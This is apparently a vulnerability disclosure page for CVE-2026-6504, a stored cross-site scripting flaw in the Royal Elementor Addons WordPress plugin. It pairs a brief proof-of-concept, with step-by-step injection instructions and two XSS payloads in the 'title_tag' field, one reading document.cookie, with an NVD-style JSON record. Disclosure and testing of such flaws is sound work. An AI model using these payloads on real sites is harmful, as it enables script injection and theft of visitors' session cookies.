CVE-2026-6504

<!-- PoC for CVE-2026-6504 Stored XSS in Royal Elementor Addons Vulnerable Parameter: title_tag Context: Posts Timeline or Video Playlist Widget --> <!-- Step 1: Authenticate as a Contributor user --> <!-- Step 2: Edit a page with Elementor and add 'Posts Timeline' widget --> <!-- Step 3: Inspect the widget settings and find the 'Title Tag' field --> <!-- Step 4: Inject the following payload into the 'title_tag' parameter --> "><script>alert(document.cookie)</script><" <!-- Alternatively, if HTML tags are sanitized but attributes are not --> onmouseover=alert(1) ">

{"cve": {"id": "CVE-2026-6504", "sourceIdentifier": "[email protected]", "published": "2026-05-14T09:16:27.680", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title_tag' parameter in all versions up to, and including, 1.7.1058 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3525351/royal-elementor-addons/trunk/modules/posts-timeline/widgets/wpr-posts-timeline.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3525351/royal-elementor-addons/trunk/modules/video-playlist/widgets/wpr-video-playlist.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ed86e902-7637-481d-9005-7025187ba200?source=cve", "source": "[email protected]"}]}}